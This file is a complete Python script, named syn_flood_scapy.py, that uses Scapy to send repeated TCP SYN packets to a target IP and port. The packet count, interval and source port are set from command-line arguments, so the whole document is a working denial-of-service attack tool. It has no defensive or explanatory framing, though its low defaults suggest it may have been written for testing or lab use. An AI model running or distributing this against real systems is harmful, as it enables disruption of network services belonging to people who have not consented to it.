syn_flood_scapy.py

#! /usr/bin/env python

import argparse
import sys
from scapy.all import *

def query( destination, dst_port, count, interval, src_port ):
    if src_port:
        sport = src_port
    else:
        sport = RandShort()
    p=IP(dst=destination,id=1111,ttl=99)/TCP(sport=sport,dport=dst_port,seq=12345,ack=1000,window=1000,flags="S")/"SYN Flood"
    # print("Field Values of packet sent")
    # ls(p)
    print("Sending {} Packets in {} second intervals".format(count, interval))
    ans,unans=srloop(p,inter=interval,retry=2,timeout=0,count=count)
    # print("Summary of answered packets")
    # ans.summary()
    # print("Summary of unanswered packets")
    # unans.summary()

def main(args):
    
    """Called when running syn_flood.py as a script"""
    
    parser = argparse.ArgumentParser(description='SYN Flood using Scapy')
    parser.add_argument('destination', help='Destination IP', type=str)
    parser.add_argument('-d','--dst_port', help='Destination TCP port. Defaults to 8080', type=int, default=8080)
    parser.add_argument('-c','--count', help='Number of SYN packets to send. Defaults to 10', type=int, default=10)
    parser.add_argument('-i','--interval', help='Seconds between sent packets. Defaults to 0.2', default=0.2, type=float)
    parser.add_argument('-s','--src_port', help='Source port. Defaults to random', type=int)
    args = parser.parse_args()
    # print(args)
    query( args.destination, args.dst_port, args.count, args.interval, args.src_port )
    # if args.write is not None:
    #     columns, data = flowquery(ips,args.timestamp)
    #     flowwrite(columns, data, args.write)
    # if args.write is None:
    #     columns, data = flowquery(ips,args.timestamp)
    #     print tabulate(data, headers=columns)
    
if __name__ == '__main__':
    main(sys.argv)